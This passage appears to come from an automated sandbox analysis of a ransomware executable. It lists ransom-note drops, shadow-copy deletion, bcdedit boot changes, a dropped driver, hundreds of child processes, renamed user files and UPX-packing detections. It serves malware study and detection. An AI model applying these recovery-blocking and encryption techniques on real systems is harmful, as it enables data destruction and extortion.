Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extension State\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Backup\new\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\f5hc8vjc.default-release\cache2\entries\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 624 bcdedit.exe 1100 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS gAw1Zqdb64.exe -
Executes dropped EXE 361 IoCs
pid Process 328 NWAKtMGl.exe 1992 gAw1Zqdb.exe 1936 gAw1Zqdb64.exe 868 gAw1Zqdb.exe 1052 gAw1Zqdb.exe 1624 gAw1Zqdb.exe 1420 gAw1Zqdb.exe 1880 gAw1Zqdb.exe 1972 gAw1Zqdb.exe 2028 gAw1Zqdb.exe 980 gAw1Zqdb.exe 1176 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 1896 gAw1Zqdb.exe 1928 gAw1Zqdb.exe 1168 gAw1Zqdb.exe 548 gAw1Zqdb.exe 1604 gAw1Zqdb.exe 1176 gAw1Zqdb.exe 1932 gAw1Zqdb.exe 1420 gAw1Zqdb.exe 548 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 416 gAw1Zqdb.exe 840 gAw1Zqdb.exe 956 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 2044 gAw1Zqdb.exe 1784 gAw1Zqdb.exe 968 gAw1Zqdb.exe 564 gAw1Zqdb.exe 316 gAw1Zqdb.exe 1492 gAw1Zqdb.exe 2020 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 1848 gAw1Zqdb.exe 1212 gAw1Zqdb.exe 832 gAw1Zqdb.exe 624 gAw1Zqdb.exe 1700 gAw1Zqdb.exe 340 gAw1Zqdb.exe 1928 gAw1Zqdb.exe 316 gAw1Zqdb.exe 1492 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1420 gAw1Zqdb.exe 940 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 2004 gAw1Zqdb.exe 1780 gAw1Zqdb.exe 732 gAw1Zqdb.exe 1104 gAw1Zqdb.exe 972 gAw1Zqdb.exe 1444 gAw1Zqdb.exe 1960 gAw1Zqdb.exe 764 gAw1Zqdb.exe 1532 gAw1Zqdb.exe 316 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 1108 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1624 gAw1Zqdb.exe 940 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 1776 gAw1Zqdb.exe 1328 gAw1Zqdb.exe 968 gAw1Zqdb.exe 1048 gAw1Zqdb.exe 1444 gAw1Zqdb.exe 1932 gAw1Zqdb.exe 336 gAw1Zqdb.exe 1604 gAw1Zqdb.exe 956 gAw1Zqdb.exe 1312 gAw1Zqdb.exe 1248 gAw1Zqdb.exe 1160 gAw1Zqdb.exe 2000 gAw1Zqdb.exe 596 gAw1Zqdb.exe 980 gAw1Zqdb.exe 868 gAw1Zqdb.exe 1976 gAw1Zqdb.exe 1900 gAw1Zqdb.exe 2044 gAw1Zqdb.exe 1048 gAw1Zqdb.exe 1932 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 1212 gAw1Zqdb.exe 1004 gAw1Zqdb.exe 564 gAw1Zqdb.exe 968 gAw1Zqdb.exe 1480 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 1976 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 2044 gAw1Zqdb.exe 1100 gAw1Zqdb.exe 1412 gAw1Zqdb.exe 972 gAw1Zqdb.exe 1160 gAw1Zqdb.exe 1976 gAw1Zqdb.exe 844 gAw1Zqdb.exe 1104 gAw1Zqdb.exe 1408 gAw1Zqdb.exe 1056 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 1848 gAw1Zqdb.exe 1068 gAw1Zqdb.exe 564 gAw1Zqdb.exe 1776 gAw1Zqdb.exe 760 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 1544 gAw1Zqdb.exe 552 gAw1Zqdb.exe 1780 gAw1Zqdb.exe 1896 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 1096 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 624 gAw1Zqdb.exe 336 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 1408 gAw1Zqdb.exe 732 gAw1Zqdb.exe 1168 gAw1Zqdb.exe 1212 gAw1Zqdb.exe 300 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 928 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 764 gAw1Zqdb.exe 696 gAw1Zqdb.exe 1104 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1212 gAw1Zqdb.exe 1788 gAw1Zqdb.exe 948 gAw1Zqdb.exe 928 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 2000 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 240 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 904 gAw1Zqdb.exe 1184 gAw1Zqdb.exe 1068 gAw1Zqdb.exe 872 gAw1Zqdb.exe 1408 gAw1Zqdb.exe 2020 gAw1Zqdb.exe 1372 gAw1Zqdb.exe 1052 gAw1Zqdb.exe 1896 gAw1Zqdb.exe 904 gAw1Zqdb.exe 1984 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 1168 gAw1Zqdb.exe 336 gAw1Zqdb.exe 1372 gAw1Zqdb.exe 1700 gAw1Zqdb.exe 1896 gAw1Zqdb.exe 1328 gAw1Zqdb.exe 1984 gAw1Zqdb.exe 928 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 1956 gAw1Zqdb.exe 1120 gAw1Zqdb.exe 1700 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 940 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 872 gAw1Zqdb.exe 1532 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 624 gAw1Zqdb.exe 1408 gAw1Zqdb.exe 2044 gAw1Zqdb.exe 1984 gAw1Zqdb.exe 732 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 1900 gAw1Zqdb.exe 552 gAw1Zqdb.exe 624 gAw1Zqdb.exe 792 gAw1Zqdb.exe 760 gAw1Zqdb.exe 336 gAw1Zqdb.exe 948 gAw1Zqdb.exe 1100 gAw1Zqdb.exe 972 gAw1Zqdb.exe 1176 gAw1Zqdb.exe 696 gAw1Zqdb.exe 928 gAw1Zqdb.exe 240 gAw1Zqdb.exe 844 gAw1Zqdb.exe 428 gAw1Zqdb.exe 940 gAw1Zqdb.exe 1900 gAw1Zqdb.exe 1956 gAw1Zqdb.exe 1052 gAw1Zqdb.exe 336 gAw1Zqdb.exe 928 gAw1Zqdb.exe 680 gAw1Zqdb.exe 1184 gAw1Zqdb.exe 1004 gAw1Zqdb.exe 972 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 1788 gAw1Zqdb.exe 2020 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 1540 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 428 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 1604 gAw1Zqdb.exe 1328 gAw1Zqdb.exe 680 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 1840 gAw1Zqdb.exe 624 gAw1Zqdb.exe 2028 gAw1Zqdb.exe 1780 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 872 gAw1Zqdb.exe 844 gAw1Zqdb.exe 764 gAw1Zqdb.exe 240 gAw1Zqdb.exe 428 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 616 gAw1Zqdb.exe 1004 gAw1Zqdb.exe 1100 gAw1Zqdb.exe 1532 gAw1Zqdb.exe 1168 gAw1Zqdb.exe 1068 gAw1Zqdb.exe 760 gAw1Zqdb.exe 1540 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 216 gAw1Zqdb.exe 236 gAw1Zqdb.exe 792 gAw1Zqdb.exe 336 gAw1Zqdb.exe 428 gAw1Zqdb.exe 1900 gAw1Zqdb.exe 216 gAw1Zqdb.exe 1524 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1108 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 216 gAw1Zqdb.exe 1048 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1940 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 1004 gAw1Zqdb.exe 1956 gAw1Zqdb.exe 792 gAw1Zqdb.exe 336 gAw1Zqdb.exe 1364 gAw1Zqdb.exe 1788 gAw1Zqdb.exe 1004 gAw1Zqdb.exe 1532 gAw1Zqdb.exe 792 gAw1Zqdb.exe 1604 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 1184 gAw1Zqdb.exe 224 gAw1Zqdb.exe 2016 gAw1Zqdb.exe 1716 gAw1Zqdb.exe 904 gAw1Zqdb.exe 2020 gAw1Zqdb.exe 616 gAw1Zqdb.exe 1328 gAw1Zqdb.exe 2028 gAw1Zqdb.exe 1548 gAw1Zqdb.exe 1196 gAw1Zqdb.exe 228 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 240 gAw1Zqdb.exe 1052 gAw1Zqdb.exe 1928 gAw1Zqdb.exe 940 gAw1Zqdb.exe 928 gAw1Zqdb.exe 764 gAw1Zqdb.exe 552 gAw1Zqdb.exe 1700 gAw1Zqdb.exe 1184 gAw1Zqdb.exe 224 gAw1Zqdb.exe 904 gAw1Zqdb.exe 1052 gAw1Zqdb.exe 236 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 1040 gAw1Zqdb.exe 1928 gAw1Zqdb.exe 336 gAw1Zqdb.exe 2000 gAw1Zqdb.exe 1716 gAw1Zqdb.exe 792 gAw1Zqdb.exe 212 gAw1Zqdb.exe 1452 gAw1Zqdb.exe 2000 gAw1Zqdb.exe 2008 gAw1Zqdb.exe 1068 gAw1Zqdb.exe 240 gAw1Zqdb.exe 872 gAw1Zqdb.exe 1960 gAw1Zqdb.exe 552 gAw1Zqdb.exe 904 gAw1Zqdb.exe 240 gAw1Zqdb.exe 1212 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 1444 gAw1Zqdb.exe 904 gAw1Zqdb.exe 1780 gAw1Zqdb.exe 1408 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 764 gAw1Zqdb.exe 204 gAw1Zqdb.exe 1780 gAw1Zqdb.exe 948 gAw1Zqdb.exe 1132 gAw1Zqdb.exe 228 gAw1Zqdb.exe 204 gAw1Zqdb.exe 2028 gAw1Zqdb.exe 948 gAw1Zqdb.exe 2044 gAw1Zqdb.exe 1644 gAw1Zqdb.exe 1700 gAw1Zqdb.exe 2028 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 760 gAw1Zqdb.exe 732 gAw1Zqdb.exe 1756 gAw1Zqdb.exe 212 gAw1Zqdb.exe 1888 gAw1Zqdb.exe 2016 gAw1Zqdb.exe 732 gAw1Zqdb.exe 1096 gAw1Zqdb.exe 1896 gAw1Zqdb.exe 1308 gAw1Zqdb.exe 792 gAw1Zqdb.exe 872 gAw1Zqdb.exe 1176 gAw1Zqdb.exe 948 gAw1Zqdb.exe 1788 gAw1Zqdb.exe 1308 gAw1Zqdb.exe 928 gAw1Zqdb.exe 872 gAw1Zqdb.exe 1884 gAw1Zqdb.exe 1184 gAw1Zqdb.exe 1928 gAw1Zqdb.exe 1308 gAw1Zqdb.exe 1444 gAw1Zqdb.exe 1972 gAw1Zqdb.exe 904 gAw1Zqdb.exe 624 gAw1Zqdb.exe -
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\DisableExpand.tiff 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Pictures\StopGroup.tiff 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Users\Admin\Pictures\HidePing.tiff 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe -
Sets service image path in registry 2 TTPs
-
resource yara_rule behavioral1/files/0x00030000000131be-18.dat upx behavioral1/files/0x00030000000131be-19.dat upx behavioral1/files/0x00030000000131be-22.dat upx behavioral1/files/0x00030000000131be-29.dat upx behavioral1/files/0x00030000000131be-31.dat upx behavioral1/files/0x00030000000131be-32.dat upx behavioral1/files/0x00030000000131be-34.dat upx behavioral1/files/0x00030000000131be-39.dat upx behavioral1/files/0x00030000000131be-41.dat upx behavioral1/files/0x00030000000131be-42.dat upx behavioral1/files/0x00030000000131be-44.dat upx behavioral1/files/0x00030000000131be-49.dat upx behavioral1/files/0x00030000000131be-51.dat upx behavioral1/files/0x00030000000131be-52.dat upx behavioral1/files/0x00030000000131be-54.dat upx behavioral1/files/0x00030000000131be-59.dat upx behavioral1/files/0x00030000000131be-61.dat upx behavioral1/files/0x00030000000131be-62.dat upx behavioral1/files/0x00030000000131be-64.dat upx behavioral1/files/0x00030000000131be-69.dat upx behavioral1/files/0x00030000000131be-71.dat upx behavioral1/files/0x00030000000131be-72.dat upx behavioral1/files/0x00030000000131be-74.dat upx behavioral1/files/0x00030000000131be-79.dat upx behavioral1/files/0x00030000000131be-81.dat upx behavioral1/files/0x00030000000131be-82.dat upx behavioral1/files/0x00030000000131be-84.dat upx behavioral1/files/0x00030000000131be-89.dat upx behavioral1/files/0x00030000000131be-91.dat upx behavioral1/files/0x00030000000131be-92.dat upx behavioral1/files/0x00030000000131be-94.dat upx behavioral1/files/0x00030000000131be-99.dat upx behavioral1/files/0x00030000000131be-101.dat upx behavioral1/files/0x00030000000131be-102.dat upx behavioral1/files/0x00030000000131be-104.dat upx behavioral1/files/0x00030000000131be-109.dat upx behavioral1/files/0x00030000000131be-111.dat upx behavioral1/files/0x00030000000131be-112.dat upx behavioral1/files/0x00030000000131be-114.dat upx behavioral1/files/0x00030000000131be-119.dat upx behavioral1/files/0x00030000000131be-121.dat upx behavioral1/files/0x00030000000131be-122.dat upx behavioral1/files/0x00030000000131be-124.dat upx behavioral1/files/0x00030000000131be-129.dat upx behavioral1/files/0x00030000000131be-131.dat upx behavioral1/files/0x00030000000131be-132.dat upx behavioral1/files/0x00030000000131be-134.dat upx behavioral1/files/0x00030000000131be-139.dat upx behavioral1/files/0x00030000000131be-141.dat upx behavioral1/files/0x00030000000131be-142.dat upx behavioral1/files/0x00030000000131be-144.dat upx behavioral1/files/0x00030000000131be-149.dat upx behavioral1/files/0x00030000000131be-151.dat upx behavioral1/files/0x00030000000131be-152.dat upx behavioral1/files/0x00030000000131be-155.dat upx behavioral1/files/0x00030000000131be-160.dat upx behavioral1/files/0x00030000000131be-162.dat upx behavioral1/files/0x00030000000131be-163.dat upx behavioral1/files/0x00030000000131be-165.dat upx behavioral1/files/0x00030000000131be-170.dat upx behavioral1/files/0x00030000000131be-172.dat upx behavioral1/files/0x00030000000131be-173.dat upx behavioral1/files/0x00030000000131be-175.dat upx behavioral1/files/0x00030000000131be-180.dat upx behavioral1/files/0x00030000000131be-182.dat upx behavioral1/files/0x00030000000131be-183.dat upx behavioral1/files/0x00030000000131be-185.dat upx behavioral1/files/0x00030000000131be-190.dat upx behavioral1/files/0x00030000000131be-192.dat upx behavioral1/files/0x00030000000131be-193.dat upx behavioral1/files/0x00030000000131be-195.dat upx behavioral1/files/0x00030000000131be-200.dat upx behavioral1/files/0x00030000000131be-202.dat upx behavioral1/files/0x00030000000131be-203.dat upx behavioral1/files/0x00030000000131be-205.dat upx behavioral1/files/0x00030000000131be-210.dat upx behavioral1/files/0x00030000000131be-212.dat upx behavioral1/files/0x00030000000131be-213.dat upx behavioral1/files/0x00030000000131be-215.dat upx behavioral1/files/0x00030000000131be-220.dat upx behavioral1/files/0x00030000000131be-222.dat upx behavioral1/files/0x00030000000131be-223.dat upx behavioral1/files/0x00030000000131be-225.dat upx behavioral1/files/0x00030000000131be-230.dat upx behavioral1/files/0x00030000000131be-232.dat upx behavioral1/files/0x00030000000131be-233.dat upx behavioral1/files/0x00030000000131be-235.dat upx behavioral1/files/0x00030000000131be-240.dat upx behavioral1/files/0x00030000000131be-242.dat upx behavioral1/files/0x00030000000131be-243.dat upx behavioral1/files/0x00030000000131be-245.dat upx behavioral1/files/0x00030000000131be-250.dat upx behavioral1/files/0x00030000000131be-252.dat upx behavioral1/files/0x00030000000131be-253.dat upx behavioral1/files/0x00030000000131be-255.dat upx behavioral1/files/0x00030000000131be-262.dat upx behavioral1/files/0x00030000000131be-264.dat upx behavioral1/files/0x00030000000131be-265.dat upx behavioral1/files/0x00030000000131be-267.dat upx behavioral1/files/0x00030000000131be-272.dat upx behavioral1/files/0x00030000000131be-274.dat upx behavioral1/files/0x00030000000131be-275.dat upx behavioral1/files/0x00030000000131be-277.dat upx behavioral1/files/0x00030000000131be-282.dat upx behavioral1/files/0x00030000000131be-284.dat upx behavioral1/files/0x00030000000131be-285.dat upx behavioral1/files/0x00030000000131be-287.dat upx behavioral1/files/0x00030000000131be-292.dat upx behavioral1/files/0x00030000000131be-294.dat upx behavioral1/files/0x00030000000131be-295.dat upx behavioral1/files/0x00030000000131be-297.dat upx behavioral1/files/0x00030000000131be-302.dat upx behavioral1/files/0x00030000000131be-304.dat upx behavioral1/files/0x00030000000131be-305.dat upx behavioral1/files/0x00030000000131be-307.dat upx behavioral1/files/0x00030000000131be-312.dat upx behavioral1/files/0x00030000000131be-314.dat upx behavioral1/files/0x00030000000131be-315.dat upx behavioral1/files/0x00030000000131be-317.dat upx behavioral1/files/0x00030000000131be-322.dat upx behavioral1/files/0x00030000000131be-324.dat upx behavioral1/files/0x00030000000131be-325.dat upx behavioral1/files/0x00030000000131be-327.dat upx behavioral1/files/0x00030000000131be-332.dat upx behavioral1/files/0x00030000000131be-334.dat upx behavioral1/files/0x00030000000131be-335.dat upx behavioral1/files/0x00030000000131be-337.dat upx behavioral1/files/0x00030000000131be-342.dat upx behavioral1/files/0x00030000000131be-344.dat upx behavioral1/files/0x00030000000131be-345.dat upx behavioral1/files/0x00030000000131be-347.dat upx behavioral1/files/0x00030000000131be-352.dat upx behavioral1/files/0x00030000000131be-354.dat upx behavioral1/files/0x00030000000131be-355.dat upx behavioral1/files/0x00030000000131be-357.dat upx behavioral1/files/0x00030000000131be-362.dat upx behavioral1/files/0x00030000000131be-364.dat upx behavioral1/files/0x00030000000131be-365.dat upx behavioral1/files/0x00030000000131be-367.dat upx behavioral1/files/0x00030000000131be-372.dat upx behavioral1/files/0x00030000000131be-374.dat upx behavioral1/files/0x00030000000131be-375.dat upx behavioral1/files/0x00030000000131be-377.dat upx behavioral1/files/0x00030000000131be-382.dat upx behavioral1/files/0x00030000000131be-384.dat upx behavioral1/files/0x00030000000131be-385.dat upx behavioral1/files/0x00030000000131be-387.dat upx behavioral1/files/0x00030000000131be-392.dat upx behavioral1/files/0x00030000000131be-394.dat upx behavioral1/files/0x00030000000131be-395.dat upx behavioral1/files/0x00030000000131be-397.dat upx behavioral1/files/0x00030000000131be-405.dat upx behavioral1/files/0x00030000000131be-407.dat upx behavioral1/files/0x00030000000131be-408.dat upx behavioral1/files/0x00030000000131be-410.dat upx behavioral1/files/0x00030000000131be-415.dat upx behavioral1/files/0x00030000000131be-417.dat upx behavioral1/files/0x00030000000131be-418.dat upx behavioral1/files/0x00030000000131be-420.dat upx behavioral1/files/0x00030000000131be-425.dat upx behavioral1/files/0x00030000000131be-427.dat upx behavioral1/files/0x00030000000131be-428.dat upx behavioral1/files/0x00030000000131be-430.dat upx behavioral1/files/0x00030000000131be-435.dat upx behavioral1/files/0x00030000000131be-437.dat upx behavioral1/files/0x00030000000131be-438.dat upx behavioral1/files/0x00030000000131be-440.dat upx behavioral1/files/0x00030000000131be-445.dat upx behavioral1/files/0x00030000000131be-447.dat upx behavioral1/files/0x00030000000131be-448.dat upx behavioral1/files/0x00030000000131be-450.dat upx behavioral1/files/0x00030000000131be-456.dat upx behavioral1/files/0x00030000000131be-458.dat upx behavioral1/files/0x00030000000131be-459.dat upx behavioral1/files/0x00030000000131be-461.dat upx behavioral1/files/0x00030000000131be-466.dat upx behavioral1/files/0x00030000000131be-468.dat upx behavioral1/files/0x00030000000131be-469.dat upx behavioral1/files/0x00030000000131be-471.dat upx behavioral1/files/0x00030000000131be-476.dat upx behavioral1/files/0x00030000000131be-478.dat upx behavioral1/files/0x00030000000131be-479.dat upx behavioral1/files/0x00030000000131be-481.dat upx behavioral1/files/0x00030000000131be-486.dat upx behavioral1/files/0x00030000000131be-488.dat upx behavioral1/files/0x00030000000131be-489.dat upx behavioral1/files/0x00030000000131be-492.dat upx behavioral1/files/0x00030000000131be-498.dat upx behavioral1/files/0x00030000000131be-500.dat upx behavioral1/files/0x00030000000131be-501.dat upx behavioral1/files/0x00030000000131be-503.dat upx behavioral1/files/0x00030000000131be-508.dat upx behavioral1/files/0x00030000000131be-510.dat upx behavioral1/files/0x00030000000131be-511.dat upx behavioral1/files/0x00030000000131be-513.dat upx behavioral1/files/0x00030000000131be-518.dat upx behavioral1/files/0x00030000000131be-520.dat upx behavioral1/files/0x00030000000131be-521.dat upx behavioral1/files/0x00030000000131be-523.dat upx behavioral1/files/0x00030000000131be-528.dat upx behavioral1/files/0x00030000000131be-530.dat upx behavioral1/files/0x00030000000131be-531.dat upx behavioral1/files/0x00030000000131be-533.dat upx behavioral1/files/0x00030000000131be-538.dat upx behavioral1/files/0x00030000000131be-540.dat upx behavioral1/files/0x00030000000131be-541.dat upx behavioral1/files/0x00030000000131be-543.dat upx behavioral1/files/0x00030000000131be-548.dat upx behavioral1/files/0x00030000000131be-550.dat upx behavioral1/files/0x00030000000131be-551.dat upx behavioral1/files/0x00030000000131be-553.dat upx behavioral1/files/0x00030000000131be-558.dat upx behavioral1/files/0x00030000000131be-560.dat upx behavioral1/files/0x00030000000131be-561.dat upx behavioral1/files/0x00030000000131be-563.dat upx behavioral1/files/0x00030000000131be-568.dat upx behavioral1/files/0x00030000000131be-570.dat upx behavioral1/files/0x00030000000131be-571.dat upx behavioral1/files/0x00030000000131be-573.dat upx behavioral1/files/0x00030000000131be-578.dat upx behavioral1/files/0x00030000000131be-580.dat upx behavioral1/files/0x00030000000131be-581.dat upx behavioral1/files/0x00030000000131be-583.dat upx behavioral1/files/0x00030000000131be-588.dat upx behavioral1/files/0x00030000000131be-590.dat upx behavioral1/files/0x00030000000131be-591.dat upx behavioral1/files/0x00030000000131be-593.dat upx behavioral1/files/0x00030000000131be-598.dat upx behavioral1/files/0x00030000000131be-600.dat upx behavioral1/files/0x00030000000131be-601.dat upx behavioral1/files/0x00030000000131be-603.dat upx behavioral1/files/0x00030000000131be-608.dat upx behavioral1/files/0x00030000000131be-610.dat upx behavioral1/files/0x00030000000131be-611.dat upx behavioral1/files/0x00030000000131be-613.dat upx behavioral1/files/0x00030000000131be-618.dat upx behavioral1/files/0x00030000000131be-620.dat upx behavioral1/files/0x00030000000131be-621.dat upx behavioral1/files/0x00030000000131be-623.dat upx behavioral1/files/0x00030000000131be-628.dat upx behavioral1/files/0x00030000000131be-630.dat upx behavioral1/files/0x00030000000131be-631.dat upx behavioral1/files/0x00030000000131be-633.dat upx behavioral1/files/0x00030000000131be-638.dat upx behavioral1/files/0x00030000000131be-640.dat upx behavioral1/files/0x00030000000131be-641.dat upx behavioral1/files/0x00030000000131be-643.dat upx behavioral1/files/0x00030000000131be-648.dat upx behavioral1/files/0x00030000000131be-650.dat upx behavioral1/files/0x00030000000131be-651.dat upx behavioral1/files/0x00030000000131be-653.dat upx behavioral1/files/0x00030000000131be-658.dat upx behavioral1/files/0x00030000000131be-660.dat upx behavioral1/files/0x00030000000131be-661.dat upx behavioral1/files/0x00030000000131be-663.dat upx behavioral1/files/0x00030000000131be-668.dat upx behavioral1/files/0x00030000000131be-670.dat upx behavioral1/files/0x00030000000131be-671.dat upx behavioral1/files/0x00030000000131be-673.dat upx behavioral1/files/0x00030000000131be-678.dat upx behavioral1/files/0x00030000000131be-680.dat upx behavioral1/files/0x00030000000131be-681.dat upx behavioral1/files/0x00030000000131be-683.dat upx behavioral1/files/0x00030000000131be-688.dat upx behavioral1/files/0x00030000000131be-690.dat upx behavioral1/files/0x00030000000131be-691.dat upx behavioral1/files/0x00030000000131be-693.dat upx behavioral1/files/0x00030000000131be-698.dat upx behavioral1/files/0x00030000000131be-700.dat upx behavioral1/files/0x00030000000131be-701.dat upx behavioral1/files/0x00030000000131be-703.dat upx behavioral1/files/0x00030000000131be-708.dat upx behavioral1/files/0x00030000000131be-710.dat upx behavioral1/files/0x00030000000131be-711.dat upx behavioral1/files/0x00030000000131be-713.dat upx behavioral1/files/0x00030000000131be-718.dat upx behavioral1/files/0x00030000000131be-720.dat upx behavioral1/files/0x00030000000131be-721.dat upx behavioral1/files/0x00030000000131be-723.dat upx behavioral1/files/0x00030000000131be-728.dat upx behavioral1/files/0x00030000000131be-730.dat upx behavioral1/files/0x00030000000131be-731.dat upx behavioral1/files/0x00030000000131be-733.dat upx behavioral1/files/0x00030000000131be-738.dat upx behavioral1/files/0x00030000000131be-740.dat upx behavioral1/files/0x00030000000131be-741.dat upx behavioral1/files/0x00030000000131be-743.dat upx behavioral1/files/0x00030000000131be-748.dat upx behavioral1/files/0x00030000000131be-750.dat upx behavioral1/files/0x00030000000131be-751.dat upx behavioral1/files/0x00030000000131be-753.dat upx behavioral1/files/0x00030000000131be-758.dat upx behavioral1/files/0x00030000000131be-760.dat upx behavioral1/files/0x00030000000131be-761.dat upx behavioral1/files/0x00030000000131be-763.dat upx behavioral1/files/0x00030000000131be-768.dat upx behavioral1/files/0x00030000000131be-770.dat upx behavioral1/files/0x00030000000131be-771.dat upx behavioral1/files/0x00030000000131be-773.dat upx behavioral1/files/0x00030000000131be-778.dat upx behavioral1/files/0x00030000000131be-780.dat upx behavioral1/files/0x00030000000131be-781.dat upx behavioral1/files/0x00030000000131be-783.dat upx behavioral1/files/0x00030000000131be-788.dat upx behavioral1/files/0x00030000000131be-790.dat upx behavioral1/files/0x00030000000131be-791.dat upx behavioral1/files/0x00030000000131be-793.dat upx behavioral1/files/0x00030000000131be-798.dat upx behavioral1/files/0x00030000000131be-800.dat upx behavioral1/files/0x00030000000131be-801.dat upx behavioral1/files/0x00030000000131be-803.dat upx behavioral1/files/0x00030000000131be-808.dat upx behavioral1/files/0x00030000000131be-810.dat upx behavioral1/files/0x00030000000131be-811.dat upx behavioral1/files/0x00030000000131be-813.dat upx behavioral1/files/0x00030000000131be-818.dat upx behavioral1/files/0x00030000000131be-820.dat upx behavioral1/files/0x00030000000131be-821.dat upx behavioral1/files/0x00030000000131be-823.dat upx behavioral1/files/0x00030000000131be-828.dat upx behavioral1/files/0x00030000000131be-830.dat upx behavioral1/files/0x00030000000131be-831.dat upx behavioral1/files/0x00030000000131be-833.dat upx behavioral1/files/0x00030000000131be-838.dat upx behavioral1/files/0x00030000000131be-840.dat upx behavioral1/files/0x00030000000131be-841.dat upx 